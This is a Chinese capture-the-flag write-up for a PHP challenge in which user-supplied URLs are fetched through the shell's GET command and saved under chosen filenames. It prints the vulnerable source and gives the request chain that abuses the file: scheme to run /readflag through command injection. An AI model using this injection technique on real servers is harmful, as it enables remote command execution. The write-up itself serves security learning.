题目链接:
源码如下:
10.244.80.206 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
分析如下:
if语句里是将xff头和ip地址打散后存入一个数组,没啥太大的作用。
echo $_SERVER["REMOTE_ADDR"]; //返回ip地址。
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);//题目提供了沙盒目录,目录名就是sandbox ,md5是将(orangeip地址)这个整体进行加密。
注意加密的时候注意orange和IP地址之间不能有空格,不然就访问不了。
MD5加密网址:MD5在线加密 - MD5加密工具 - MD5在线生成。
这里的话先了解下这个加密内容,后面读取flag的时候需要用到,再接着分析:
@mkdir($sandbox);
@chdir($sandbox);//创建和改变当前沙盒目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); //传入url,并通过GET构造shell命令。
$info = pathinfo($_GET["filename"]); //数组的形式输出文件信息。
$dir = str_replace(".", "", basename($info["dirname"]));//返回文件名
@file_put_contents(basename($info["basename"]), $data);//文件包含shell命令。
GET /
读取根目录
?url= /&filename=zhecho //创个目录
给了沙盒目录, $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
再md5 加密 orangeip地址 MD5在线加密 - MD5加密工具 - MD5在线生成,注意中间不能有空格!!!
/sandbox/fcf2bccafc269c160382150a0166d632/zhecho //访问目录,有个readflag
/?url=file:bash -c /readflag|&filename=bash -c /readflag| //创建一个和readflag相同名字的文件
/?url=file:bash -c /readflag|&filename=aaa //修改存储的文件,并读取flag输入到存储的文件中去。
/sandbox/2eeed2f9aeae6311b507ada8fb98809e/aaa
//访问aaa文件拿到flag。
拿到flag:flag{8294d6b3-efb0-4fc1-b645-94bba15e2606}